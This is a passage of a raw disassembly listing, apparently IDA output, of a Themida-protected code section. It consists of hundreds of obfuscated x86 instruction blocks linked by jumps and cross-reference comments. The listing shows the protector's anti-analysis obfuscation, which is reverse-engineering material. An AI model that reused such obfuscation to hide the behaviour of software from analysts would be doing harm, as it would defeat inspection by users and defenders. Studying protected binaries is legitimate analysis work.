eax mov eax, 66CE254Fh mov ebx, eax pop eax xor ebx, 44E77893h mov ebp, ebx jmp loc_56ED44 ; --------------------------------------------------------------------------- loc_566A69: ; CODE XREF: Themida_:00568FC6j xchg esi, [esp] pop esp push 50Fh mov [esp], edi push esp pop edi add edi, 4 push 52C1h jmp loc_56E8AF ; --------------------------------------------------------------------------- loc_566A87: ; CODE XREF: Themida_:00571764j not al inc al sub esp, 4 mov [esp], edx push eax mov al, 60h jmp loc_568653 ; --------------------------------------------------------------------------- loc_566A99: ; CODE XREF: Themida_:005683A7j push edx mov edx, esp sub esp, 4 mov [esp], ecx jmp loc_5643F4 ; --------------------------------------------------------------------------- loc_566AAA: ; CODE XREF: Themida_:00562E94j pop eax pop dword ptr [esp] pop esp or eax, eax jz loc_5629F5 push dword ptr [edi+1Ch] push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 sub ebx, ebp jmp loc_56D396 ; --------------------------------------------------------------------------- loc_566AD8: ; CODE XREF: Themida_:00566569j mov eax, [esp] add esp, 4 push esi mov esi, 0ECE4D59h jmp loc_56197F ; --------------------------------------------------------------------------- loc_566AE9: ; CODE XREF: Themida_:0055E5D6j mov dh, 41h and dh, 0D5h jmp loc_56D793 ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_5639EA ; --------------------------------------------------------------------------- loc_566B04: ; CODE XREF: Themida_:00568DD4j pop esi jmp loc_5636E1 ; --------------------------------------------------------------------------- loc_566B0A: ; CODE XREF: Themida_:00570D1Aj push dword ptr [esp] pop esi add esp, 4 push esi jmp loc_56470D ; --------------------------------------------------------------------------- loc_566B17: ; CODE XREF: Themida_:0056D285j push edx mov edx, esp add edx, 4 push esi jmp loc_5602C4 ; --------------------------------------------------------------------------- loc_566B26: ; CODE XREF: Themida_:0055E88Dj add ecx, edx mov edx, [esp] jmp loc_565E5B ; --------------------------------------------------------------------------- loc_566B30: ; CODE XREF: Themida_:0055DB8Cj add al, 0ADh sub al, dl sub al, 0ADh mov dx, [esp] push 5689h mov [esp], ebx mov ebx, esp push 5A00h jmp loc_56895D ; --------------------------------------------------------------------------- loc_566B4E: ; CODE XREF: Themida_:00565425j push dword ptr [esp+4] push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 jmp loc_56B6F4 ; --------------------------------------------------------------------------- loc_566B63: ; CODE XREF: Themida_:005620A8j pop ecx jmp loc_56B14B ; --------------------------------------------------------------------------- loc_566B69: ; CODE XREF: Themida_:loc_560000j pop eax push ebp push edx mov edx, 381D198Dh jmp loc_570B65 ; --------------------------------------------------------------------------- loc_566B76: ; CODE XREF: Themida_:00560A60j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_562687 ; --------------------------------------------------------------------------- loc_566B8A: ; CODE XREF: Themida_:0056F460j add [esp+8], edx sub dword ptr [esp+8], 21DC5114h pop edx pop edi add dword ptr [esp], 34BD2889h add dword ptr [esp], 39C41ECh add dword ptr [esp], 76AC3091h sub [esp], eax sub dword ptr [esp], 76AC3091h sub dword ptr [esp], 39C41ECh push edi mov edi, 34BD2889h jmp loc_56B5F5 ; --------------------------------------------------------------------------- loc_566BC9: ; CODE XREF: Themida_:0056B1F7j pop ebp push dword ptr [esp] pop eax push 2684h jmp loc_56181C ; --------------------------------------------------------------------------- loc_566BD8: ; CODE XREF: Themida_:00560226j add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_56073C ; --------------------------------------------------------------------------- loc_566BE9: ; CODE XREF: Themida_:00570936j add al, 0B7h push small 3C49h mov [esp], bx mov bl, 26h shl bl, 5 dec bl jmp loc_561172 ; --------------------------------------------------------------------------- loc_566BFF: ; CODE XREF: Themida_:0056F0A2j inc ebx jmp loc_5699AD ; --------------------------------------------------------------------------- loc_566C05: ; CODE XREF: Themida_:0056EC07j mov [esp], ebx add dword ptr [esp], 25FB1D4Bh pop eax sub esp, 4 jmp loc_563CF4 ; --------------------------------------------------------------------------- loc_566C1B: ; CODE XREF: Themida_:00568553j push eax mov eax, 7CF40372h add edx, eax jmp loc_56FE98 ; --------------------------------------------------------------------------- loc_566C28: ; CODE XREF: Themida_:0056B0B5j add esp, 2 movzx eax, al push dword ptr [edi+eax*4] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_566C39: ; CODE XREF: Themida_:0056F020j push dword ptr [esp] pop ebp add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], ebx push small 4DF5h mov [esp], cx push 2E81h jmp loc_56C717 ; --------------------------------------------------------------------------- loc_566C62: ; CODE XREF: Themida_:005605ABj mov ebx, 67F23A9Bh jmp loc_571EED ; --------------------------------------------------------------------------- loc_566C6C: ; CODE XREF: Themida_:0056A0B6j add eax, edi mov edi, [esp] jmp loc_56562B ; --------------------------------------------------------------------------- loc_566C76: ; CODE XREF: Themida_:00563113j sub bl, 2Bh jmp loc_56B0AE ; --------------------------------------------------------------------------- loc_566C7E: ; CODE XREF: Themida_:0056C2ACj pop esp jmp loc_56066F ; --------------------------------------------------------------------------- loc_566C84: ; CODE XREF: Themida_:00563916j sub esi, 123C365Ch add esi, eax push ecx jmp loc_56F774 ; --------------------------------------------------------------------------- loc_566C92: ; CODE XREF: Themida_:00562C0Ej sub edx, ebp pop ebp jmp loc_567797 ; --------------------------------------------------------------------------- loc_566C9A: ; CODE XREF: Themida_:005671D9j push 0D5C35FFh mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp not esi inc esi sub esp, 4 mov [esp], edx mov edx, 4E633B3h shr edx, 8 sub edx, 0D611C0Eh xor esi, edx mov edx, [esp] add esp, 4 jmp loc_566FF2 ; --------------------------------------------------------------------------- loc_566CD6: ; CODE XREF: Themida_:0055F9EEj add edx, 1DD3086Ch sub edx, ecx sub edx, 1DD3086Ch mov ecx, [esp] add esp, 4 jmp loc_5715BA ; --------------------------------------------------------------------------- loc_566CEF: ; CODE XREF: Themida_:005611AAj sub ah, ch pop ecx or dl, ah jmp loc_55F04F ; --------------------------------------------------------------------------- loc_566CF9: ; CODE XREF: Themida_:00569E56j sub ebx, 3A8E14DBh jmp loc_56A36A ; --------------------------------------------------------------------------- loc_566D04: ; CODE XREF: Themida_:0056A4BAj push edi mov edi, 1A742D40h xor ebp, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 0B11F47C2h sub ebp, ecx pop ecx jmp loc_56C6C0 ; --------------------------------------------------------------------------- loc_566D20: ; CODE XREF: Themida_:00565F88j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp bt [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_566D35: ; CODE XREF: Themida_:00571199j mov esi, [esp] jmp loc_56B672 ; --------------------------------------------------------------------------- loc_566D3D: ; CODE XREF: Themida_:00564612j push 3618h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push eax jmp loc_568176 ; --------------------------------------------------------------------------- loc_566D60: ; CODE XREF: Themida_:0056721Bj push cx pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_566D68: ; CODE XREF: Themida_:005662BDj add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] add edi, 4 push ebp mov ebp, 2E043549h not ebp shl ebp, 7 sub ebp, 39A720FDh neg ebp add ebp, 0E7477F6Dh jmp loc_5712A0 ; --------------------------------------------------------------------------- loc_566D95: ; CODE XREF: Themida_:0056F129j push edx mov edx, 4 sub ecx, edx pop edx jmp loc_56E1D8 ; --------------------------------------------------------------------------- loc_566DA3: ; CODE XREF: Themida_:0056FCB2j mov ebp, [esp] push ecx jmp loc_56DD41 ; --------------------------------------------------------------------------- loc_566DAC: ; CODE XREF: Themida_:0055E38Aj add ebp, 580154C1h add ebp, edi sub ebp, 580154C1h pop edi xchg ebp, [esp] mov esp, [esp] add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_571E59 ; --------------------------------------------------------------------------- loc_566DCF: ; CODE XREF: Themida_:0057243Bj push esi mov esi, esp add esi, 4 push eax mov eax, 4 jmp loc_5693AB ; --------------------------------------------------------------------------- loc_566DE3: ; CODE XREF: Themida_:0055ED8Bj mov dh, 40h and dh, 0F9h add dh, 0B3h sub ah, dh pop edx jmp loc_55E5CB ; --------------------------------------------------------------------------- loc_566DF3: ; CODE XREF: Themida_:0056ED3Fj mov edx, [esp] add esp, 4 jmp loc_565951 ; --------------------------------------------------------------------------- loc_566E01: ; CODE XREF: Themida_:00567771j pop dword ptr [esp] pop esp pop dword ptr [esp] jmp loc_563B89 ; --------------------------------------------------------------------------- loc_566E0D: ; CODE XREF: Themida_:0056FDCDj pop esi neg ecx and ecx, 20E21783h add ecx, 0FF1E0004h add ebp, ecx pop ecx sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_564993 ; --------------------------------------------------------------------------- loc_566E2D: ; CODE XREF: Themida_:00562855j mov ebp, 4EAF21BDh xor ebx, ebp jmp loc_57235E ; --------------------------------------------------------------------------- loc_566E39: ; CODE XREF: Themida_:0056B3FDj push eax push esp pop eax add eax, 4 push ecx jmp loc_570A8E ; --------------------------------------------------------------------------- loc_566E47: ; CODE XREF: Themida_:0056AF58j push edx mov edx, 67D5495Dh or edx, 7A5D6945h sub esp, 4 mov [esp], esi push eax jmp loc_565D38 ; --------------------------------------------------------------------------- loc_566E5F: ; CODE XREF: Themida_:0056C937j sub bl, al sub bl, 0FCh mov eax, [esp] add esp, 4 add bl, al jmp loc_571B26 ; --------------------------------------------------------------------------- loc_566E71: ; CODE XREF: Themida_:00564841j xor ebx, ebp jmp loc_56E891 ; --------------------------------------------------------------------------- loc_566E78: ; CODE XREF: Themida_:0056DAA7j mov ebx, 30h push esi push ebx jmp loc_56267D ; --------------------------------------------------------------------------- loc_566E84: ; CODE XREF: Themida_:0056CCE6j xchg eax, [esp] pop esp add [esp+4], edi pop edi mov eax, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp push 1A95h mov [esp], ebx jmp loc_56D43B ; --------------------------------------------------------------------------- loc_566EA5: ; CODE XREF: Themida_:0056E11Bj push ebx mov ebx, 35B73CEFh jmp loc_55D9FA ; --------------------------------------------------------------------------- loc_566EB0: ; CODE XREF: Themida_:0055DB3Cj add bh, al pop eax shl bh, 2 shl bh, 3 jmp loc_5641EE ; --------------------------------------------------------------------------- loc_566EBE: ; CODE XREF: Themida_:005613E9j pop eax or ecx, ebp mov ebp, [esp] add esp, 4 shl ecx, 1 sub ecx, 3E90252Eh add ebx, ecx jmp loc_56F61B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_56E744 ; --------------------------------------------------------------------------- loc_566EE2: ; CODE XREF: Themida_:00565958j mov edi, 4 add ebx, edi pop edi xchg ebx, [esp] mov esp, [esp] mov eax, [esp] add esp, 4 push 6E90h mov [esp], ecx mov ecx, 4 add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_566923 ; --------------------------------------------------------------------------- loc_566F13: ; CODE XREF: Themida_:00571367j mov [esp], eax push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], eax mov eax, esp jmp loc_55EB24 ; --------------------------------------------------------------------------- loc_566F2C: ; CODE XREF: Themida_:00570F90j xor edi, 18A0EFEAh jmp loc_567310 ; --------------------------------------------------------------------------- loc_566F37: ; CODE XREF: Themida_:0056BEFFj push edi mov edi, 4 sub ebx, edi pop edi xchg ebx, [esp] pop esp jmp loc_56E144 ; --------------------------------------------------------------------------- loc_566F49: ; CODE XREF: Themida_:0055FA94j push 5AA9h mov [esp], eax mov eax, 2CF16B59h xor eax, 0E9A78A7h dec eax sub eax, 0CAC2AACh add eax, 0FA11867h sub eax, 6CAE7F00h jmp loc_56BC69 ; --------------------------------------------------------------------------- loc_566F70: ; CODE XREF: Themida_:0055DDA5j mov [edx], ch pop ecx jmp loc_56F43D ; --------------------------------------------------------------------------- loc_566F78: ; CODE XREF: Themida_:0056A350j pop esi add ebx, ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 63F0E70h sub eax, ebx push ecx jmp loc_56C807 ; --------------------------------------------------------------------------- loc_566F9A: ; CODE XREF: Themida_:00568CE4j pop edx sub edi, 7F651811h add edi, esi add edi, 7F651811h pop esi mov ebp, edi pop edi mov esi, ebp push dword ptr [esp] pop ebp jmp loc_56825F ; --------------------------------------------------------------------------- loc_566FB8: ; CODE XREF: Themida_:005630F8j mov ebp, esp jmp loc_56019A ; --------------------------------------------------------------------------- loc_566FBF: ; CODE XREF: Themida_:005679C8j push 0CA24FF31h pop ecx add ecx, 52A10A9Bh add ecx, ebx sub ecx, 52A10A9Bh pop ebx add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_563D1F ; --------------------------------------------------------------------------- loc_566FE1: ; CODE XREF: Themida_:0056C950j pop edx jmp loc_5695A1 ; --------------------------------------------------------------------------- loc_566FE7: ; CODE XREF: Themida_:00568E6Cj sub ch, 65h sub ch, 5Ah jmp loc_56A39A ; --------------------------------------------------------------------------- loc_566FF2: ; CODE XREF: Themida_:00566CD1j mov eax, esi push dword ptr [esp] pop esi add esp, 4 push ecx push edx mov edx, 173666C4h or edx, 35A13700h or edx, 0CF53783h add edx, 32FDF539h mov ecx, edx pop edx add eax, ecx mov ecx, [esp] push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_567B05 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56703A: ; CODE XREF: Themida_:005703BAj mov edx, [esp] add esp, 4 mov ebp, [esp] add esp, 4 push esi mov esi, 37273E7Ah inc esi push eax jmp loc_561E84 ; --------------------------------------------------------------------------- loc_567056: ; CODE XREF: Themida_:00561076j pop edx sub ebx, 2FA534F6h sub ebx, ecx add ebx, 2FA534F6h jmp loc_56AF6F ; --------------------------------------------------------------------------- loc_56706A: ; CODE XREF: Themida_:0056A1AFj push 7F4h jmp loc_56BA79 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_56896A ; --------------------------------------------------------------------------- loc_56707D: ; CODE XREF: Themida_:00571F49j sub edi, ebp jmp loc_5695DC ; --------------------------------------------------------------------------- loc_567084: ; CODE XREF: Themida_:0056F5BFj push edi mov edi, 35F93126h add ebx, edi pop edi push ebp mov ebp, 5D042068h and ebp, 0EFB5DBAh neg ebp push eax mov eax, 617A5914h and ebp, eax pop eax sub ebp, 576008D5h add ebp, 757F1737h and ebx, ebp pop ebp push ecx push ebp mov ebp, 133C5BCBh mov ecx, 7F3D5D3Fh sub ecx, ebp jmp loc_55E9A9 ; --------------------------------------------------------------------------- loc_5670C6: ; CODE XREF: Themida_:0055DCBCj push ebx jmp loc_56B218 ; --------------------------------------------------------------------------- loc_5670CC: ; CODE XREF: Themida_:0056D471j xchg esi, edi not esi xchg esi, edi xchg edi, ebx xor ebx, 0DA0DCD0Ah push edx mov edx, 0BA312B8h jmp loc_5608BF ; --------------------------------------------------------------------------- loc_5670E5: ; CODE XREF: Themida_:00560195j push 29C6h mov [esp], edi jmp loc_56EA5D ; --------------------------------------------------------------------------- loc_5670F2: ; CODE XREF: Themida_:0056D6B6j add esi, 2C3C4E2Ah jmp loc_568732 ; --------------------------------------------------------------------------- loc_5670FD: ; CODE XREF: Themida_:0056A395j pop ebx push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 sub esp, 4 mov [esp], eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp] pop esp push dword ptr [edi+eax*4] push edi push ebx jmp loc_56A0BB ; --------------------------------------------------------------------------- loc_567127: ; CODE XREF: Themida_:0056EA73j mov edx, 0F713FEh jmp loc_562246 ; --------------------------------------------------------------------------- loc_567131: ; CODE XREF: Themida_:005641DBj add ebp, 59690269h jmp loc_56656E ; --------------------------------------------------------------------------- loc_56713C: ; CODE XREF: Themida_:0056BA90j mov ecx, 52724CD1h sub esi, ecx pop ecx pop ebp add esi, eax sub esi, 27472209h pop eax push ebp mov ebp, 4B6009DEh sub ebp, 1 xor ebp, 606E4365h push ecx mov ecx, 3767321Ch push ecx not dword ptr [esp] pop ecx neg ecx not ecx xor ecx, 0E3968756h sub ebp, ecx pop ecx sub esi, 3F226A0Eh add esi, ebp add esi, 3F226A0Eh pop ebp xchg esi, [esp] mov esp, [esp] pop dword ptr [eax] add dword ptr [eax], 74C0623Bh jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56719A: ; CODE XREF: Themida_:00566931j mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5623D6 ; --------------------------------------------------------------------------- loc_5671B2: ; CODE XREF: Themida_:0056D5F4j sub dword ptr [esp], 0B4C4C9Bh pop edx add edx, 0B4C4C9Bh mov edi, [esp] add esp, 4 pop ebp loc_5671CA: ; CODE XREF: Themida_:0056E367j ; Themida_:0056E64Ej sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], esi jmp loc_566C9A ; --------------------------------------------------------------------------- loc_5671DE: ; CODE XREF: Themida_:0055E0E0j add edx, 962361D4h or esi, edx pop edx jmp loc_56F20A ; --------------------------------------------------------------------------- loc_5671EC: ; CODE XREF: Themida_:00568B6Cj sub esi, 0FF67509Ah or eax, esi pop esi shr eax, 3 dec eax xor eax, 149BEE62h xor edi, eax pop eax jmp loc_56CB8F ; --------------------------------------------------------------------------- loc_567206: ; CODE XREF: Themida_:005646AAj mov esp, [esp] mul cl movzx cx, ah push small 315Dh mov [esp], cx movzx cx, al jmp loc_566D60 ; --------------------------------------------------------------------------- loc_567220: ; CODE XREF: Themida_:00567D9Cj pop ebp jmp loc_5692CB ; --------------------------------------------------------------------------- loc_567226: ; CODE XREF: Themida_:00564415j pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push 3956h mov [esp], ebp push esp jmp loc_571DF5 ; --------------------------------------------------------------------------- loc_56723E: ; CODE XREF: Themida_:0056ADA1j pop eax add eax, 0F513823Eh mov ebx, eax pop eax jmp loc_56F704 ; --------------------------------------------------------------------------- loc_56724C: ; CODE XREF: Themida_:0056AD39j mov esp, [esp] push 3CAFh jmp loc_5660AD ; --------------------------------------------------------------------------- loc_567259: ; CODE XREF: Themida_:0056D1BFj sub esi, 4B7C4EB7h add esi, ebp add esi, 4B7C4EB7h sub esi, 59947041h pop ebp jmp loc_56747B ; --------------------------------------------------------------------------- loc_567273: ; CODE XREF: Themida_:0055EEE4j add ebx, 5B6D25BFh mov ebp, [esp] jmp loc_570A69 ; --------------------------------------------------------------------------- loc_567281: ; CODE XREF: Themida_:00570913j sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_569571 ; --------------------------------------------------------------------------- loc_56729D: ; CODE XREF: Themida_:0056F327j push 184h mov [esp], eax jmp loc_5722BB ; --------------------------------------------------------------------------- loc_5672AA: ; CODE XREF: Themida_:0056AAD7j add ebp, esi sub ebp, 10093708h jmp loc_55EFA8 ; --------------------------------------------------------------------------- loc_5672B7: ; CODE XREF: Themida_:00568527j pop esi push 3774h mov [esp], eax push 5DE7h mov [esp], esp jmp loc_565AD8 ; --------------------------------------------------------------------------- loc_5672CD: ; CODE XREF: Themida_:00562AFFj sub eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push 5D56h mov [esp], esi sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_5655A2 ; --------------------------------------------------------------------------- loc_5672FC: ; CODE XREF: Themida_:00570054j pop ecx xor eax, [esp] jmp loc_56C4D8 ; --------------------------------------------------------------------------- loc_567305: ; CODE XREF: Themida_:0055F258j pop ebx mov ecx, edi pop edi add ebp, ecx jmp loc_563141 ; --------------------------------------------------------------------------- loc_567310: ; CODE XREF: Themida_:00566F32j sub eax, edi jmp loc_55EBE6 ; --------------------------------------------------------------------------- loc_567317: ; CODE XREF: Themida_:005616F0j dec edx not edx sub edx, 1AC891A2h jmp loc_56CF07 ; --------------------------------------------------------------------------- loc_567325: ; CODE XREF: Themida_:005624D2j sub edx, esi mov esi, [esp] add esp, 4 jmp loc_56641A ; --------------------------------------------------------------------------- loc_567335: ; CODE XREF: Themida_:0056B38Dj push 5A8h mov [esp], edi mov edi, 403D4693h push esi mov esi, 403D4697h mov eax, esi jmp loc_571FEB ; --------------------------------------------------------------------------- push 682Bh mov [esp], eax sub esp, 4 mov [esp], ecx mov ecx, 45D42C61h push ecx jmp loc_56D803 ; --------------------------------------------------------------------------- loc_567368: ; CODE XREF: Themida_:00569D05j sub ebx, 0BB3C3E3Fh xor ecx, ebx pop ebx xor ecx, 7C011871h jmp loc_56CF35 ; --------------------------------------------------------------------------- loc_56737C: ; CODE XREF: Themida_:00563FB0j add [esp+8], ecx sub dword ptr [esp+8], 3046650Ch pop ecx jmp loc_563C4E ; --------------------------------------------------------------------------- loc_56738E: ; CODE XREF: Themida_:0056E761j pop ebx sub eax, 5F282D74h jmp loc_571EC6 ; --------------------------------------------------------------------------- loc_567399: ; CODE XREF: Themida_:0056C24Aj add ecx, ebp pop ebp xchg ecx, [esp] pop esp add ebx, 4 push 18A5h mov [esp], ebp mov ebp, 4 add ebx, ebp push dword ptr [esp] pop ebp add esp, 4 xchg ebx, [esp] mov esp, [esp] imul ecx, eax push ecx pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5673CF: ; CODE XREF: Themida_:00560745j and ebp, eax pop eax inc ebp jmp loc_56A5DD ; --------------------------------------------------------------------------- loc_5673D8: ; CODE XREF: Themida_:00560B83j sub edi, edx pop edx add edi, edx add edi, 21F1508Fh pop edx add edi, 2 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp test cx, ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5673FA: ; CODE XREF: Themida_:0055D915j push ecx mov ecx, 2D473414h push esi mov esi, 327A1429h or ecx, esi jmp loc_56F5FE ; --------------------------------------------------------------------------- loc_56740D: ; CODE XREF: Themida_:0056C785j pop eax jmp loc_5620C1 ; --------------------------------------------------------------------------- loc_567413: ; CODE XREF: Themida_:00560CF7j mov [esp], eax mov eax, esp push ebx mov ebx, 4 jmp loc_5665E5 ; --------------------------------------------------------------------------- loc_567423: ; CODE XREF: Themida_:0056E351j pop edi pop dword ptr [esp] pop esp push edx push 6F5Bh mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 sub edx, 4 jmp loc_56BE16 ; --------------------------------------------------------------------------- loc_567447: ; CODE XREF: Themida_:0055EAF8j xchg esi, [esp] pop esp add esp, 4 shr ecx, 2 push edi mov edi, 51F05112h and edi, 5B80550Ah dec edi shl edi, 4 sub edi, 82A26A0h jmp loc_55E85F ; --------------------------------------------------------------------------- loc_56746F: ; CODE XREF: Themida_:0056CE8Fj dec ebp sub ebp, 0ECA4AD57h jmp loc_56C109 ; --------------------------------------------------------------------------- loc_56747B: ; CODE XREF: Themida_:0056726Ej add esi, 4 xchg esi, [esp] mov esp, [esp] xor eax, 76C28F3h push 2Ah mov [esp], esi push edx push 0E5C4ECDh pop edx sub esp, 4 mov [esp], edx push dword ptr [esp] pop esi jmp loc_565985 ; --------------------------------------------------------------------------- loc_5674AA: ; CODE XREF: Themida_:005637FEj add ch, 74h add dl, ch pop ecx add dl, 1 sub dl, 5Fh push eax mov al, 0EAh jmp loc_566385 ; --------------------------------------------------------------------------- loc_5674BE: ; CODE XREF: Themida_:00567B61j xor ebp, 73C7779Bh jmp loc_56463A ; --------------------------------------------------------------------------- loc_5674C9: ; CODE XREF: Themida_:00571D60j not ecx jmp loc_560A6F ; --------------------------------------------------------------------------- loc_5674D0: ; CODE XREF: Themida_:0057171Aj mov ebp, esp push 4083h mov [esp], edx mov edx, 26A90F0Bh shl edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 0FFFFFFFFh sub edx, ecx jmp loc_55F003 ; --------------------------------------------------------------------------- loc_5674F7: ; CODE XREF: Themida_:0056DFD3j pop esi jmp loc_563D88 ; --------------------------------------------------------------------------- loc_5674FD: ; CODE XREF: Themida_:00564C5Aj push ebp mov ebp, 2524509Ah or ecx, ebp pop ebp xchg eax, ecx xchg eax, ebp not ebp xchg eax, ebp xor ecx, eax jmp loc_562029 ; --------------------------------------------------------------------------- loc_567512: ; CODE XREF: Themida_:005708EAj mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 144579DFh add edi, eax pop eax pop ecx mov eax, edi pop edi add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp jmp loc_56DE46 ; --------------------------------------------------------------------------- loc_56753B: ; CODE XREF: Themida_:0056C7B0j pop edx jmp loc_55D8DB ; --------------------------------------------------------------------------- loc_567541: ; CODE XREF: Themida_:0055DBBAj pop esp sub edx, 3CF41F77h add edx, 57412D0Eh jmp loc_563B69 ; --------------------------------------------------------------------------- loc_567553: ; CODE XREF: Themida_:0055F05Cj pop edx sub edi, 308C0C73h jmp loc_56052C ; --------------------------------------------------------------------------- loc_56755F: ; CODE XREF: Themida_:00568482j add [esp+4], ebx jmp loc_56C236 ; --------------------------------------------------------------------------- loc_567568: ; CODE XREF: Themida_:00565D9Fj mov ecx, esi pop esi xor ecx, eax pop eax xor edx, ecx pop ecx add ebp, edx push dword ptr [esp] pop edx add esp, 4 push edx jmp loc_562274 ; --------------------------------------------------------------------------- loc_567583: ; CODE XREF: Themida_:0055E96Dj xor esi, [esp] xor [esp], esi jmp loc_56D177 ; --------------------------------------------------------------------------- loc_56758E: ; CODE XREF: Themida_:0055E046j push ebp mov ebp, 16A45405h add ebp, 0FFFFFFFFh sub ebp, 663A1254h sub edx, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, edx mov ebp, ebx jmp loc_560236 ; --------------------------------------------------------------------------- loc_5675B5: ; CODE XREF: Themida_:005709ADj add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp] pop esp mov ecx, ebp jmp loc_568A02 ; --------------------------------------------------------------------------- loc_5675CF: ; CODE XREF: Themida_:0056A33Aj sub edx, ecx mov ecx, [esp] add esp, 4 xor edx, 239491D0h push ebp mov ebp, edx mov ebx, ebp pop ebp pop edx shl ebx, 6 add ebx, 1 push ebp mov ebp, 0B7818302h add ebx, 3A8E14DBh push ebp jmp loc_56856F ; --------------------------------------------------------------------------- loc_567602: ; CODE XREF: Themida_:0056272Aj mov [esp], ebx mov ebx, 0 jmp loc_56C51B ; --------------------------------------------------------------------------- loc_56760F: ; CODE XREF: Themida_:0056239Aj mov ecx, 51690142h mov eax, 0AC626E80h sub eax, ecx pop ecx push ebx mov ebx, 0A50692C6h add eax, ebx pop ebx jmp loc_56867C ; --------------------------------------------------------------------------- loc_56762A: ; CODE XREF: Themida_:005710BBj add edx, 6A8B5047h jmp loc_56E08E ; --------------------------------------------------------------------------- loc_567635: ; CODE XREF: Themida_:0056238Bj mov ecx, 767A75DEh add ecx, 89858A24h add ebp, ecx pop ecx xchg ebp, [esp] pop esp and [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_567651: ; CODE XREF: Themida_:00568799j pop esp mov [esp], edx jmp loc_564651 ; --------------------------------------------------------------------------- loc_56765A: ; CODE XREF: Themida_:0055E20Dj pop eax push 0B30h mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] push edi mov edi, 2 add eax, edi mov edi, [esp] jmp loc_56CA56 ; --------------------------------------------------------------------------- loc_567681: ; CODE XREF: Themida_:00569E6Bj mov [esp], ecx sub esp, 4 jmp loc_565324 ; --------------------------------------------------------------------------- loc_56768F: ; CODE XREF: Themida_:005622D3j push 182Dh mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 add edx, 4 add edx, 4 push 7535h jmp loc_567D1D ; --------------------------------------------------------------------------- loc_5676B5: ; CODE XREF: Themida_:005665F3j pop dword ptr [esp] jmp loc_5686DB ; --------------------------------------------------------------------------- loc_5676BD: ; CODE XREF: Themida_:00562241j pop ecx add eax, 1D6C1ADFh mov esi, [esp] add esp, 4 add eax, ebx jmp loc_56F8AC ; --------------------------------------------------------------------------- loc_5676D3: ; CODE XREF: Themida_:0055F04Aj push 7C46137Fh pop eax push eax inc dword ptr [esp] pop eax dec eax xor eax, 5056516h add eax, 0A940E1E9h mov edi, eax jmp loc_563E72 ; --------------------------------------------------------------------------- loc_5676F0: ; CODE XREF: Themida_:0055E51Aj sub ecx, 76AC689Eh add esi, ecx pop ecx pop eax push esi push dword ptr [esp+4] push dword ptr [esp] jmp loc_56CAF5 ; --------------------------------------------------------------------------- loc_567707: ; CODE XREF: Themida_:0056E63Cj xchg ebp, [esp] jmp loc_563EFE ; --------------------------------------------------------------------------- loc_56770F: ; CODE XREF: Themida_:0056453Dj push 2 jmp loc_565F84 ; --------------------------------------------------------------------------- loc_567719: ; CODE XREF: Themida_:005695C5j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_562A9C ; --------------------------------------------------------------------------- loc_567728: ; CODE XREF: Themida_:0056FB8Aj pop dword ptr [esp] jmp loc_56BC5D ; --------------------------------------------------------------------------- loc_567730: ; CODE XREF: Themida_:0056233Dj pop ebp xchg ebp, ebx add ebx, 356973h add ebx, 897B320Ch push esi mov esi, ebx mov ecx, esi pop esi mov ebx, [esp] push 4F3Dh mov [esp], ebp jmp loc_56845D ; --------------------------------------------------------------------------- loc_567755: ; CODE XREF: Themida_:0056BF39j pop edi xchg edx, [esp] pop esp xor [esp], esi xor esi, [esp] xor [esp], esi mov eax, [esp] jmp loc_56658A ; --------------------------------------------------------------------------- loc_56776B: ; CODE XREF: Themida_:0056B6B3j push eax push dword ptr [esp+4] pop eax jmp loc_566E01 ; --------------------------------------------------------------------------- 